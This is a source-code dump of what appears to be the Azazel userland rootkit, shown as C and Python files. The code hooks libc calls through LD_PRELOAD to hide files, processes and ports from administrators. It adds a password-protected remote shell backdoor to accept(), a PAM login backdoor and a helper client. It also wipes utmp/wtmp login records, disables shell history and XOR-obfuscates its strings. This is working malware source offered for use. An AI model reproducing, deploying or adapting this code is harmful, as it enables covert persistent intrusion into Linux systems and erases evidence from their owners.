| return -1; 431 | } 432 | 433 | return (long)syscall_list[SYS_XSTAT].syscall_func(ver,path, buf); 434 | } 435 | 436 | int __xstat64(int ver, const char *path, struct stat64 *buf) { 437 | DEBUG("xstat64 hooked.\n"); 438 | if (is_owner()) 439 | return (long)syscall_list[SYS_XSTAT64].syscall_func(ver, path, buf); 440 | 441 | if(is_invisible(path)) { 442 | errno = ENOENT; 443 | return -1; 444 | } 445 | 446 | return (long)syscall_list[SYS_XSTAT64].syscall_func(ver,path, buf); 447 | } 448 | 449 | int unlink(const char *pathname) { 450 | DEBUG("unlink hooked.\n"); 451 | if (is_owner()) 452 | return (long)syscall_list[SYS_UNLINK].syscall_func(pathname); 453 | 454 | if(is_invisible(pathname)) { 455 | errno = ENOENT; 456 | return -1; 457 | } 458 | 459 | return (long)syscall_list[SYS_UNLINK].syscall_func(pathname); 460 | } 461 | 462 | int unlinkat(int dirfd, const char *pathname, int flags) { 463 | DEBUG("unlinkat hooked.\n"); 464 | if (is_owner()) 465 | return (long)syscall_list[SYS_UNLINKAT].syscall_func(dirfd, pathname, flags); 466 | 467 | if(is_invisible(pathname)) { 468 | errno = ENOENT; 469 | return -1; 470 | } 471 | 472 | return (long)syscall_list[SYS_UNLINKAT].syscall_func(dirfd, pathname, flags); 473 | } 474 | 475 | DIR *opendir(const char *name) { 476 | DEBUG("opendir hooked.\n"); 477 | if (is_owner()) 478 | return syscall_list[SYS_OPENDIR].syscall_func(name); 479 | 480 | if(is_invisible(name)) { 481 | errno = ENOENT; 482 | return NULL; 483 | } 484 | 485 | return syscall_list[SYS_OPENDIR].syscall_func(name); 486 | } 487 | 488 | struct dirent *readdir(DIR *dirp) { 489 | DEBUG("readdir hooked.\n"); 490 | if (is_owner()) 491 | return syscall_list[SYS_READDIR].syscall_func(dirp); 492 | struct dirent *dir; 493 | do { 494 | dir = syscall_list[SYS_READDIR].syscall_func(dirp); 495 | 496 | if (dir != NULL && (strcmp(dir->d_name,".\0") || strcmp(dir->d_name,"/\0"))) 497 | continue; 498 | 499 | if(dir != NULL) { 500 | char path[PATH_MAX + 1]; 501 | char *proc_str = strdup(PROC_STR); 502 | x(proc_str); 503 | snprintf(path, PATH_MAX, proc_str, dir->d_name); 504 | cleanup(proc_str,strlen(proc_str)); 505 | 506 | if(is_invisible(path) || strstr(path, MAGIC_STRING)) { 507 | continue; 508 | } 509 | } 510 | 511 | } while(dir && is_invisible(dir->d_name)); 512 | 513 | return dir; 514 | } 515 | 516 | struct dirent64 *readdir64(DIR *dirp) { 517 | DEBUG("readdir64 hooked.\n"); 518 | if (is_owner()) 519 | return syscall_list[SYS_READDIR64].syscall_func(dirp); 520 | struct dirent64 *dir; 521 | do { 522 | dir = syscall_list[SYS_READDIR64].syscall_func(dirp); 523 | 524 | if (dir != NULL && (strcmp(dir->d_name,".\0") || strcmp(dir->d_name,"/\0"))) 525 | continue; 526 | 527 | if(dir != NULL) { 528 | char path[PATH_MAX + 1]; 529 | char *proc_str = strdup(PROC_STR); 530 | x(proc_str); 531 | snprintf(path, PATH_MAX, proc_str, dir->d_name); 532 | cleanup(proc_str,strlen(proc_str)); 533 | 534 | if(is_invisible(path) || strstr(path, MAGIC_STRING)) { 535 | continue; 536 | } 537 | } 538 | 539 | } while(dir && is_invisible(dir->d_name)); 540 | return dir; 541 | } 542 | 543 | int link(const char *oldpath, const char *newpath) { 544 | DEBUG("link hooked.\n"); 545 | if (is_owner()) 546 | return (long)syscall_list[SYS_LINK].syscall_func(oldpath, newpath); 547 | 548 | if(is_invisible(oldpath)) { 549 | errno = ENOENT; 550 | return -1; 551 | } 552 | 553 | return (long)syscall_list[SYS_LINK].syscall_func(oldpath, newpath); 554 | } 555 | 556 | int execve(const char *path, char *const argv[], char *const envp[]) { 557 | DEBUG("execve hooked. path: %s\n",path); 558 | char *unhide = strdup(C_UNHIDE); 559 | char *ldd = strdup(C_LDD); 560 | char *ld_linux = strdup(LD_LINUX); 561 | char *ld_trace = strdup(LD_TRACE); 562 | x(ld_trace); 563 | char *trace_var = getenv(ld_trace); 564 | cleanup(ld_trace,strlen(ld_trace)); 565 | 566 | char buf[65535]; 567 | int pid, ret; 568 | int child_stdin[2]; 569 | int child_stdout[2]; 570 | 571 | init(); 572 | x(unhide); 573 | x(ldd); 574 | x(ld_linux); 575 | 576 | char *cleanup_str = strdup(CLEANUP_LOGS); 577 | x(cleanup_str); 578 | char *cleanvar = getenv(cleanup_str); 579 | 580 | if (cleanvar != NULL) { 581 | clean_utmp(cleanvar, 1); 582 | clean_wtmp(cleanvar, 1); 583 | 584 | unsetenv(cleanup_str); 585 | cleanup(cleanup_str, strlen(cleanup_str)); 586 | cleanup(unhide, strlen(unhide)); 587 | cleanup(ldd,strlen(ldd)); 588 | cleanup(ld_linux,strlen(ld_linux)); 589 | exit(0); 590 | } 591 | cleanup(cleanup_str, strlen(cleanup_str)); 592 | 593 | if (strstr(path, ldd) || strstr(path, ld_linux) || trace_var != NULL || strstr(path, unhide)) { 594 | uid_t oid= getuid(); // This method will be changed in the next version. 595 | char *ld_normal = strdup(LD_NORMAL); 596 | char *ld_hide = strdup(LD_HIDE); 597 | x(ld_normal); 598 | x(ld_hide); 599 | 600 | setuid(0); 601 | rename(ld_normal, ld_hide); 602 | if ((pid=fork()) == -1) { 603 | cleanup(ld_normal, strlen(ld_normal)); 604 | cleanup(ld_hide, strlen(ld_hide)); 605 | return -1; 606 | } else if (pid == 0) { 607 | cleanup(ld_normal, strlen(ld_normal)); 608 | cleanup(ld_hide, strlen(ld_hide)); 609 | return (long)syscall_list[SYS_EXECVE].syscall_func(path, argv, NULL); 610 | } else { 611 | 612 | } 613 | wait(&ret); 614 | 615 | rename(ld_hide, ld_normal); 616 | setuid(oid); 617 | cleanup(ld_normal, strlen(ld_normal)); 618 | cleanup(ld_hide, strlen(ld_hide)); 619 | } else { 620 | ret = (long)syscall_list[SYS_EXECVE].syscall_func(path, argv, envp); 621 | } 622 | 623 | cleanup(unhide,strlen(unhide)); 624 | cleanup(ldd,strlen(ldd)); 625 | cleanup(ld_linux,strlen(ld_linux)); 626 | exit(ret); 627 | } 628 | 629 | void shell_loop(int sock, int pty, int crypt) { 630 | DEBUG("shell_loop called.\n"); 631 | fd_set fds; 632 | char buf[MAX_LEN]; 633 | int res, maxfd; 634 | 635 | ssize_t (*s_read)(); 636 | ssize_t (*s_write)(); 637 | 638 | if (crypt) { 639 | s_read = crypt_read; 640 | s_write = crypt_write; 641 | } else { 642 | char *sys_write = strdup(SYS_WRITE); 643 | char *sys_read = strdup(SYS_READ); 644 | x(sys_write); 645 | x(sys_read); 646 | s_read = dlsym(RTLD_NEXT, sys_read); 647 | s_write = dlsym(RTLD_NEXT, sys_write); 648 | cleanup(sys_write,strlen(sys_write)); 649 | cleanup(sys_read,strlen(sys_read)); 650 | } 651 | 652 | maxfd = pty; 653 | if (sock > maxfd) 654 | maxfd = sock; 655 | 656 | while(1) { 657 | FD_ZERO(&fds); 658 | FD_SET(sock, &fds); 659 | FD_SET(pty, &fds); 660 | 661 | if((res = select(maxfd+1, &fds, NULL, NULL, NULL)) == -1) 662 | DEBUG("Select failed.\n"); 663 | 664 | if(FD_ISSET(sock, &fds)) { 665 | memset(&buf, 0x00, MAX_LEN); 666 | if((res = s_read(sock, buf, MAX_LEN)) <= 0) { 667 | DEBUG("Error reading from client\n"); 668 | exit(1); 669 | } else { 670 | write(pty, buf, res); 671 | } 672 | } 673 | 674 | if(FD_ISSET(pty, &fds)) { 675 | memset(&buf, 0x00, MAX_LEN); 676 | if((res = read(pty, buf, MAX_LEN-31)) <= 0) { 677 | DEBUG("Error reading from pty\n"); 678 | exit(1); 679 | } else { 680 | s_write(sock, buf, res); 681 | } 682 | } 683 | } 684 | } 685 | 686 | void setup_pty(int sock, int *pty, int *tty) { 687 | DEBUG("setup_pty called.\n"); 688 | char *args[] = {strdup(SHELL_TYPE), "-l", 0}; 689 | char *env[] = { strdup(HIDE_TERM_VAR), strdup(HIST_FILE), strdup(TERM), 0}; 690 | 691 | close(0); 692 | close(1); 693 | close(2); 694 | close(*pty); 695 | close(sock); 696 | 697 | setsid(); 698 | ioctl(*tty, TIOCSCTTY); 699 | 700 | signal(SIGHUP, SIG_DFL); 701 | signal(SIGCHLD, SIG_DFL); 702 | 703 | dup2(*tty, 0); 704 | dup2(*tty, 1); 705 | dup2(*tty, 2); 706 | 707 | x(args[0]); 708 | x(env[0]); 709 | x(env[1]); 710 | x(env[2]); 711 | 712 | execve(args[0], args, env); 713 | cleanup(args[0],strlen(args[0])); 714 | cleanup(env[0],strlen(env[0])); 715 | cleanup(env[1],strlen(env[1])); 716 | cleanup(env[2], strlen(env[2])); 717 | } 718 | 719 | int check_shell_password(int sock, int crypt) { 720 | DEBUG("check_shell_password called.\n"); 721 | char buffer[512]; 722 | char *shell_passwd = strdup(SHELL_PASSWD); 723 | x(shell_passwd); 724 | memset(buffer, 0x00, sizeof(buffer)); 725 | if (crypt) { 726 | crypt_read(sock,buffer,sizeof(buffer)-1); 727 | if (strstr(buffer, shell_passwd)) { 728 | cleanup(shell_passwd, strlen(shell_passwd)); 729 | return 1; 730 | } 731 | } else { 732 | read(sock, buffer, sizeof(buffer)); 733 | if(strstr(buffer, shell_passwd)) { 734 | cleanup(shell_passwd, strlen(shell_passwd)); 735 | return 1; 736 | } 737 | } 738 | return -1; 739 | } 740 | 741 | int drop_shell(int sock, struct sockaddr *addr) { 742 | DEBUG("drop_shell called.\n"); 743 | char buffer[512]; 744 | char *shell_passwd = strdup(SHELL_PASSWD); 745 | char *shell_msg = strdup(SHELL_MSG); 746 | int crypt_mode = -1; 747 | int pid, pty, tty; 748 | 749 | ssize_t (*s_write)(); 750 | 751 | init(); 752 | x(shell_msg); 753 | x(shell_passwd); 754 | 755 | char buf[MAX_LEN]; 756 | 757 | memset(buffer,0x00,sizeof(buffer)); 758 | 759 | struct sockaddr_in *sa_i = (struct sockaddr_in*)addr; 760 | 761 | if(htons(sa_i->sin_port) >= LOW_PORT && htons(sa_i->sin_port) <= HIGH_PORT) { 762 | crypt_mode = PLAIN_SHELL; 763 | char *sys_write = strdup(SYS_WRITE); 764 | x(sys_write); 765 | s_write = dlsym(RTLD_NEXT, sys_write); 766 | cleanup(sys_write, strlen(sys_write)); 767 | } else if (htons(sa_i->sin_port) >= CRYPT_LOW && htons(sa_i->sin_port) <= CRYPT_HIGH) { 768 | crypt_mode = CRYPT_SHELL; 769 | s_write = crypt_write; 770 | } else 771 | return sock; 772 | 773 | if(check_shell_password(sock, crypt_mode) != 1) { 774 | shutdown(sock, SHUT_RDWR); 775 | close(sock); 776 | return -1; 777 | } 778 | 779 | s_write(sock, shell_msg, strlen(shell_msg)); 780 | char pty_name[51]; 781 | if (openpty(&pty, &tty, pty_name, NULL, NULL) == -1) { 782 | DEBUG("Failed to grab pty\n"); 783 | return; 784 | } 785 | 786 | char *ptr = &pty_name[5]; // Jump past /dev/ and clean the logs 787 | clean_utmp(ptr, 0); 788 | clean_wtmp(ptr, 0); 789 | 790 | /* Fork child process to start an interactive shell */ 791 | if ((pid=fork()) == -1) { 792 | return -1; 793 | } else if (pid == 0) { 794 | setup_pty(sock, &pty, &tty); 795 | } else { 796 | close(tty); 797 | } 798 | 799 | /* Fork child process to run the pipes for the shell */ 800 | if ((pid=fork()) == -1) 801 | return -1; 802 | else if (pid == 0) 803 | shell_loop(sock, pty, crypt_mode); 804 | else { 805 | close(sock); 806 | close(pty); 807 | errno = ECONNABORTED; 808 | return -1; 809 | } 810 | } 811 | 812 | int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen) { 813 | DEBUG("accept hooked.\n"); 814 | if (is_owner()) 815 | return (long)syscall_list[SYS_ACCEPT].syscall_func(sockfd, addr, addrlen); 816 | 817 | int sock = (long)syscall_list[SYS_ACCEPT].syscall_func(sockfd, addr, addrlen); 818 | 819 | return drop_shell(sock, addr); 820 | } 821 | -------------------------------------------------------------------------------- /azazel.h: -------------------------------------------------------------------------------- 1 | #ifndef AZAZEL_H 2 | #define AZAZEL_H 3 | 4 | #include 5 | #include "const.h" 6 | 7 | static void init (void) __attribute__ ((constructor)); 8 | 9 | // No need to leak extra function visibility 10 | void azazel_init(void) __attribute__((visibility("hidden"))); 11 | void cleanup(void *var, int len) __attribute__((visibility("hidden"))); 12 | int drop_shell(int sock, struct sockaddr *addr) __attribute__((visibility("hidden"))); 13 | int is_invisible(const char *path) __attribute__((visibility("hidden"))); 14 | int is_procnet(const char *filename) __attribute__((visibility("hidden"))); 15 | int check_shell_password(int sock, int crypt) __attribute__((visibility("hidden"))); 16 | void setup_pty(int sock, int *pty, int *tty) __attribute__((visibility("hidden"))); 17 | void shell_loop(int sock, int pty, int crypt) __attribute__((visibility("hidden"))); 18 | void clean_utmp(char *pts, int verbose) __attribute__((visibility("hidden"))); 19 | void clean_wtmp(char *pts, int verbose) __attribute__((visibility("hidden"))); 20 | int parse_environ(char *stack, int len, char *needle) __attribute__((visibility("hidden"))); 21 | int is_owner(void) __attribute__((visibility("hidden"))); 22 | 23 | FILE *hide_ports(const char *filename) __attribute__((visibility("hidden"))); 24 | ssize_t read_next_line(int fd, void *buf, size_t count) __attribute__((visibility("hidden"))); 25 | 26 | typedef struct struct_syscalls { 27 | char syscall_name[51]; 28 | void *(*syscall_func)(); 29 | } s_syscalls; 30 | 31 | s_syscalls syscall_list[SYSCALL_SIZE]; 32 | 33 | struct linux_dirent { 34 | long d_ino; 35 | off_t d_off; 36 | unsigned short d_reclen; 37 | char d_name[]; 38 | }; 39 | 40 | 41 | #define CRYPT_SHELL 1 42 | #define PLAIN_SHELL 0 43 | 44 | #define O_RDWR 02 45 | #define O_RDONLY 00 46 | 47 | static int constr = 0; 48 | 49 | #endif 50 | -------------------------------------------------------------------------------- /client.c: -------------------------------------------------------------------------------- 1 | /* 2 | * You only need this if you're connecting via SSH to the PAM backdoor 3 | * LD_PRELOAD=./client.so ssh rootme@blah.blah 4 | * Otherwise set it in ncat if you're using plain text accept 5 | * or crypthook backdoor 6 | */ 7 | 8 | #define _GNU_SOURCE 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #define PORT 61061 16 | 17 | static int (*old_socket)(int domain, int type, int protocol); 18 | 19 | int socket(int domain, int type, int protocol) { 20 | int fd; 21 | struct sockaddr_in src; 22 | 23 | if (!old_socket) 24 | old_socket = dlsym(RTLD_NEXT,"socket"); 25 | 26 | fd = old_socket(domain,type,protocol); 27 | 28 | if (fd == -1) 29 | return fd; 30 | 31 | src.sin_family = AF_INET; 32 | src.sin_addr.s_addr = INADDR_ANY; 33 | src.sin_port = htons(PORT); 34 | bind(fd, (struct sockaddr *) &src, sizeof(src)); 35 | 36 | return fd; 37 | } 38 | 39 | -------------------------------------------------------------------------------- /config.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | def xor(x_str): 4 | return ''.join(list('\\x'+hex(ord(x) ^ 0xfe)[2:] for x in x_str)) 5 | 6 | # Change everything in this box 7 | #----------------------------------------------------------------------- 8 | LOW_PORT = "61040" # Lowest source port for plain text backdoor 9 | HIGH_PORT = "61050" # Highest source port for plain text backdoor 10 | CRYPT_LOW = "61051" # Lowest source port for crypthook backdoor 11 | CRYPT_HIGH = "61060" # Highest source port for crypthook backdoor 12 | PAM_PORT = "61061" # Also hide this port, but don't trigger accept backdoors 13 | MAGIC_STRING = "__" # Hide files with this string in the name 14 | 15 | BLIND_LOGIN = "rootme" # Username for ssh / su PAM backdoor. 16 | C_ROOT = "root" # Give accept() users these privs 17 | SHELL_MSG = "Welcome!\nHere's a shell: " # Welcome msg for remote user 18 | SHELL_PASSWD = "changeme" # Remote password for accept backdoors 19 | SHELL_TYPE = "/bin/bash" # Execute this as the shell 20 | 21 | ANTI_DEBUG_MSG = "Don't scratch the walls" 22 | CLEANUP_LOGS = "CLEANUP_LOGS" 23 | 24 | # Crypthook key constants 25 | PASSPHRASE = "Hello NSA" # This is the crypto key. CHANGE THIS. 26 | KEY_SALT = "changeme" # Used in key derivation. CHANGE THIS. 27 | #----------------------------------------------------------------------- 28 | 29 | print ''' 30 | #define _GNU_SOURCE 31 | #ifndef CONST_H 32 | #define CONST_H 33 | //#define DEBUG_APP 34 | #ifdef DEBUG_APP 35 | #define DEBUG(...) fprintf(stderr, __VA_ARGS__); 36 | #else 37 | #define DEBUG(...) 38 | #endif 39 | 40 | #define LOW_PORT ''' + LOW_PORT + ''' 41 | #define HIGH_PORT ''' + HIGH_PORT + ''' 42 | #define CRYPT_LOW ''' + CRYPT_LOW + ''' 43 | #define CRYPT_HIGH ''' + CRYPT_HIGH + ''' 44 | #define PAM_PORT ''' + PAM_PORT + ''' 45 | #define MAGIC_STRING "''' + MAGIC_STRING + '''" 46 | #define BLIND_LOGIN "''' + xor(BLIND_LOGIN) + '''" 47 | #define C_ROOT "''' + xor(C_ROOT) + '''" 48 | #define SHELL_MSG "''' + xor(SHELL_MSG) + '''" 49 | #define SHELL_PASSWD "''' + xor(SHELL_PASSWD) + '''" 50 | #define SHELL_TYPE "''' + xor(SHELL_TYPE) + '''" 51 | #define PASSPHRASE "''' + xor(PASSPHRASE) + '''" 52 | #define KEY_SALT "''' + xor(KEY_SALT) + '''" 53 | #define ANTI_DEBUG_MSG "''' + xor(ANTI_DEBUG_MSG) + '''" 54 | #define CLEANUP_LOGS "''' + xor(CLEANUP_LOGS) + '''" 55 | #define SYS_ACCEPT 0 56 | #define SYS_ACCESS 1 57 | #define SYS_EXECVE 2 58 | #define SYS_LINK 3 59 | #define SYS_LXSTAT 4 60 | #define SYS_LXSTAT64 5 61 | #define SYS_OPEN 6 62 | #define SYS_RMDIR 7 63 | #define SYS_UNLINK 8 64 | #define SYS_UNLINKAT 9 65 | #define SYS_XSTAT 10 66 | #define SYS_XSTAT64 11 67 | #define SYS_FOPEN 12 68 | #define SYS_FOPEN64 13 69 | #define SYS_OPENDIR 14 70 | #define SYS_READDIR 15 71 | #define SYS_READDIR64 16 72 | #define SYS_PAM_AUTHENTICATE 17 73 | #define SYS_PAM_OPEN_SESSION 18 74 | #define SYS_PAM_ACCT_MGMT 19 75 | #define SYS_GETPWNAM 20 76 | #define SYS_PAM_SM_AUTHENTICATE 21 77 | #define SYS_GETPWNAM_R 22 78 | #define SYS_PCAP_LOOP 23 79 | #define SYSCALL_SIZE 24 80 | 81 | #define LD_NORMAL "''' + xor("/etc/ld.so.preload") + '''" 82 | #define LD_HIDE "''' + xor("/etc/.ld.so.preload") + '''" 83 | #define SYS_WRITE "''' + xor("write") + '''" 84 | #define SYS_READ "''' + xor("read") + '''" 85 | #define HIST_FILE "'''+ xor("HISTFILE=/dev/null") + '''" 86 | #define C_UNHIDE "''' + xor("bin/unhide") + '''" 87 | #define C_LDD "''' + xor("bin/ldd") + '''" 88 | #define PROC_NET_TCP "''' + xor("/proc/net/tcp") + '''" 89 | #define PROC_NET_TCP6 "''' + xor("/proc/net/tcp6") + '''" 90 | #define CONFIG_FILE "''' + xor("ld.so.preload") + '''" 91 | #define PROC_PATH "''' + xor("/proc/") + '''" 92 | #define CMD_LINE "''' + xor("%s/cmdline") + '''" 93 | #define ENV_LINE "''' + xor("%s/environ") + '''" 94 | #define PROC_STR "''' + xor("/proc/%s") + '''" 95 | #define SCANF_LINE "''' + xor("%d: %64[0-9A-Fa-f]:%X %64[0-9A-Fa-f]:%X %X %lX:%lX %X:%lX %lX %d %d %lu %512s\n") + '''" 96 | 97 | #define LD_TRACE "''' + xor("LD_TRACE_LOADED_OBJECTS") + '''" 98 | #define LD_LINUX "''' + xor("ld-linux") + '''" 99 | 100 | #define UTMP_MSG "''' + xor("utmp logs cleaned up.") + '''" 101 | #define WTMP_MSG "''' + xor("wtmp logs cleaned up.") + '''" 102 | 103 | #define UTMP_FILE_X "''' + xor("/var/run/utmp") + '''" 104 | #define WTMP_FILE_X "''' + xor("/var/log/wtmp") + '''" 105 | 106 | #define HISTFILE "''' + xor("HISTFILE") + '''" 107 | #define TERM "''' + xor("TERM=xterm") + '''" 108 | #define HIDE_TERM_VAR "''' + xor("HIDE_THIS_SHELL=please") + '''" 109 | #define HIDE_TERM_STR "''' + xor("HIDE_THIS_SHELL") + '''" 110 | static char *syscall_table[SYSCALL_SIZE] = {''' 111 | 112 | syscalls = ["accept", "access", "execve", "link", "__lxstat", "__lxstat64", 113 | "open", "rmdir", "unlink", "unlinkat", "__xstat", "__xstat64", 114 | "fopen", "fopen64", "opendir", "readdir", "readdir64", 115 | "pam_authenticate", "pam_open_session", "pam_acct_mgmt", 116 | "getpwnam", "pam_sm_authenticate", "getpwnam_r", "pcap_loop"] 117 | 118 | call_str = '' 119 | for call in syscalls: 120 | if call != syscalls[-1]: 121 | call_str = call_str + ' "' + xor(call) + '",' 122 | else: 123 | call_str = call_str + ' "' + xor(call) + '"' 124 | 125 | print call_str + '''}; 126 | #endif''' 127 | -------------------------------------------------------------------------------- /const.h: -------------------------------------------------------------------------------- 1 | 2 | #define _GNU_SOURCE 3 | #ifndef CONST_H 4 | #define CONST_H 5 | //#define DEBUG_APP 6 | #ifdef DEBUG_APP 7 | #define DEBUG(...) fprintf(stderr, __VA_ARGS__); 8 | #else 9 | #define DEBUG(...) 10 | #endif 11 | 12 | #define LOW_PORT 61040 13 | #define HIGH_PORT 61050 14 | #define CRYPT_LOW 61051 15 | #define CRYPT_HIGH 61060 16 | #define PAM_PORT 61061 17 | #define MAGIC_STRING "__" 18 | #define BLIND_LOGIN "\x8c\x91\x91\x8a\x93\x9b" 19 | #define C_ROOT "\x8c\x91\x91\x8a" 20 | #define SHELL_MSG "\xa9\x9b\x92\x9d\x91\x93\x9b\xdf\xf4\xb6\x9b\x8c\x9b\xd9\x8d\xde\x9f\xde\x8d\x96\x9b\x92\x92\xc4\xde" 21 | #define SHELL_PASSWD "\x9d\x96\x9f\x90\x99\x9b\x93\x9b" 22 | #define SHELL_TYPE "\xd1\x9c\x97\x90\xd1\x9c\x9f\x8d\x96" 23 | #define PASSPHRASE "\xb6\x9b\x92\x92\x91\xde\xb0\xad\xbf" 24 | #define KEY_SALT "\x9d\x96\x9f\x90\x99\x9b\x93\x9b" 25 | #define ANTI_DEBUG_MSG "\xba\x91\x90\xd9\x8a\xde\x8d\x9d\x8c\x9f\x8a\x9d\x96\xde\x8a\x96\x9b\xde\x89\x9f\x92\x92\x8d" 26 | #define CLEANUP_LOGS "\xbd\xb2\xbb\xbf\xb0\xab\xae\xa1\xb2\xb1\xb9\xad" 27 | #define SYS_ACCEPT 0 28 | #define SYS_ACCESS 1 29 | #define SYS_EXECVE 2 30 | #define SYS_LINK 3 31 | #define SYS_LXSTAT 4 32 | #define SYS_LXSTAT64 5 33 | #define SYS_OPEN 6 34 | #define SYS_RMDIR 7 35 | #define SYS_UNLINK 8 36 | #define SYS_UNLINKAT 9 37 | #define SYS_XSTAT 10 38 | #define SYS_XSTAT64 11 39 | #define SYS_FOPEN 12 40 | #define SYS_FOPEN64 13 41 | #define SYS_OPENDIR 14 42 | #define SYS_READDIR 15 43 | #define SYS_READDIR64 16 44 | #define SYS_PAM_AUTHENTICATE 17 45 | #define SYS_PAM_OPEN_SESSION 18 46 | #define SYS_PAM_ACCT_MGMT 19 47 | #define SYS_GETPWNAM 20 48 | #define SYS_PAM_SM_AUTHENTICATE 21 49 | #define SYS_GETPWNAM_R 22 50 | #define SYS_PCAP_LOOP 23 51 | #define SYSCALL_SIZE 24 52 | 53 | #define LD_NORMAL "\xd1\x9b\x8a\x9d\xd1\x92\x9a\xd0\x8d\x91\xd0\x8e\x8c\x9b\x92\x91\x9f\x9a" 54 | #define LD_HIDE "\xd1\x9b\x8a\x9d\xd1\xd0\x92\x9a\xd0\x8d\x91\xd0\x8e\x8c\x9b\x92\x91\x9f\x9a" 55 | #define SYS_WRITE "\x89\x8c\x97\x8a\x9b" 56 | #define SYS_READ "\x8c\x9b\x9f\x9a" 57 | #define HIST_FILE "\xb6\xb7\xad\xaa\xb8\xb7\xb2\xbb\xc3\xd1\x9a\x9b\x88\xd1\x90\x8b\x92\x92" 58 | #define C_UNHIDE "\x9c\x97\x90\xd1\x8b\x90\x96\x97\x9a\x9b" 59 | #define C_LDD "\x9c\x97\x90\xd1\x92\x9a\x9a" 60 | #define PROC_NET_TCP "\xd1\x8e\x8c\x91\x9d\xd1\x90\x9b\x8a\xd1\x8a\x9d\x8e" 61 | #define PROC_NET_TCP6 "\xd1\x8e\x8c\x91\x9d\xd1\x90\x9b\x8a\xd1\x8a\x9d\x8e\xc8" 62 | #define CONFIG_FILE "\x92\x9a\xd0\x8d\x91\xd0\x8e\x8c\x9b\x92\x91\x9f\x9a" 63 | #define PROC_PATH "\xd1\x8e\x8c\x91\x9d\xd1" 64 | #define CMD_LINE "\xdb\x8d\xd1\x9d\x93\x9a\x92\x97\x90\x9b" 65 | #define ENV_LINE "\xdb\x8d\xd1\x9b\x90\x88\x97\x8c\x91\x90" 66 | #define PROC_STR "\xd1\x8e\x8c\x91\x9d\xd1\xdb\x8d" 67 | #define SCANF_LINE "\xdb\x9a\xc4\xde\xdb\xc8\xca\xa5\xce\xd3\xc7\xbf\xd3\xb8\x9f\xd3\x98\xa3\xc4\xdb\xa6\xde\xdb\xc8\xca\xa5\xce\xd3\xc7\xbf\xd3\xb8\x9f\xd3\x98\xa3\xc4\xdb\xa6\xde\xdb\xa6\xde\xdb\x92\xa6\xc4\xdb\x92\xa6\xde\xdb\xa6\xc4\xdb\x92\xa6\xde\xdb\x92\xa6\xde\xdb\x9a\xde\xdb\x9a\xde\xdb\x92\x8b\xde\xdb\xcb\xcf\xcc\x8d\xf4" 68 | 69 | #define LD_TRACE "\xb2\xba\xa1\xaa\xac\xbf\xbd\xbb\xa1\xb2\xb1\xbf\xba\xbb\xba\xa1\xb1\xbc\xb4\xbb\xbd\xaa\xad" 70 | #define LD_LINUX "\x92\x9a\xd3\x92\x97\x90\x8b\x86" 71 | 72 | #define UTMP_MSG "\x8b\x8a\x93\x8e\xde\x92\x91\x99\x8d\xde\x9d\x92\x9b\x9f\x90\x9b\x9a\xde\x8b\x8e\xd0" 73 | #define WTMP_MSG "\x89\x8a\x93\x8e\xde\x92\x91\x99\x8d\xde\x9d\x92\x9b\x9f\x90\x9b\x9a\xde\x8b\x8e\xd0" 74 | 75 | #define UTMP_FILE_X "\xd1\x88\x9f\x8c\xd1\x92\x91\x99\xd1\x8b\x8a\x93\x8e" 76 | #define WTMP_FILE_X "\xd1\x88\x9f\x8c\xd1\x92\x91\x99\xd1\x89\x8a\x93\x8e" 77 | 78 | #define HISTFILE "\xb6\xb7\xad\xaa\xb8\xb7\xb2\xbb" 79 | #define TERM "\xaa\xbb\xac\xb3\xc3\x86\x8a\x9b\x8c\x93" 80 | #define HIDE_TERM_VAR "\xb6\xb7\xba\xbb\xa1\xaa\xb6\xb7\xad\xa1\xad\xb6\xbb\xb2\xb2\xc3\x8e\x92\x9b\x9f\x8d\x9b" 81 | #define HIDE_TERM_STR "\xb6\xb7\xba\xbb\xa1\xaa\xb6\xb7\xad\xa1\xad\xb6\xbb\xb2\xb2" 82 | static char *syscall_table[SYSCALL_SIZE] = { 83 | "\x9f\x9d\x9d\x9b\x8e\x8a", "\x9f\x9d\x9d\x9b\x8d\x8d", "\x9b\x86\x9b\x9d\x88\x9b", "\x92\x97\x90\x95", "\xa1\xa1\x92\x86\x8d\x8a\x9f\x8a", "\xa1\xa1\x92\x86\x8d\x8a\x9f\x8a\xc8\xca", "\x91\x8e\x9b\x90", "\x8c\x93\x9a\x97\x8c", "\x8b\x90\x92\x97\x90\x95", "\x8b\x90\x92\x97\x90\x95\x9f\x8a", "\xa1\xa1\x86\x8d\x8a\x9f\x8a", "\xa1\xa1\x86\x8d\x8a\x9f\x8a\xc8\xca", "\x98\x91\x8e\x9b\x90", "\x98\x91\x8e\x9b\x90\xc8\xca", "\x91\x8e\x9b\x90\x9a\x97\x8c", "\x8c\x9b\x9f\x9a\x9a\x97\x8c", "\x8c\x9b\x9f\x9a\x9a\x97\x8c\xc8\xca", "\x8e\x9f\x93\xa1\x9f\x8b\x8a\x96\x9b\x90\x8a\x97\x9d\x9f\x8a\x9b", "\x8e\x9f\x93\xa1\x91\x8e\x9b\x90\xa1\x8d\x9b\x8d\x8d\x97\x91\x90", "\x8e\x9f\x93\xa1\x9f\x9d\x9d\x8a\xa1\x93\x99\x93\x8a", "\x99\x9b\x8a\x8e\x89\x90\x9f\x93", "\x8e\x9f\x93\xa1\x8d\x93\xa1\x9f\x8b\x8a\x96\x9b\x90\x8a\x97\x9d\x9f\x8a\x9b", "\x99\x9b\x8a\x8e\x89\x90\x9f\x93\xa1\x8c", "\x8e\x9d\x9f\x8e\xa1\x92\x91\x91\x8e"}; 84 | #endif 85 | -------------------------------------------------------------------------------- /crypthook.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Ripped from CryptHook 3 | * AES TCP wrapper 4 | * www.chokepoint.net 5 | * Packet Format: 6 | * [algo][iv][hmac][payload] 7 | */ 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | #include "crypthook.h" 17 | #include "const.h" 18 | #include "xor.h" 19 | 20 | #define KEY_SIZE 32 // AES 256 in GCM mode. 21 | #define IV_SIZE 12 // 12 bytes used for AES 256 in GCM mode 22 | 23 | #define PACKET_HEADER 0x17 // Packet Identifier added to each header 24 | 25 | // 1 byte packet identifier 26 | // 12 bytes IV 27 | // 16 bytes MAC 28 | #define HEADER_SIZE 31 29 | 30 | // Used in PBKDF2 key generation. CHANGE THIS FROM DEFAULT 31 | #define ITERATIONS 1000 32 | 33 | static char glob_key[KEY_SIZE]="\00"; 34 | 35 | 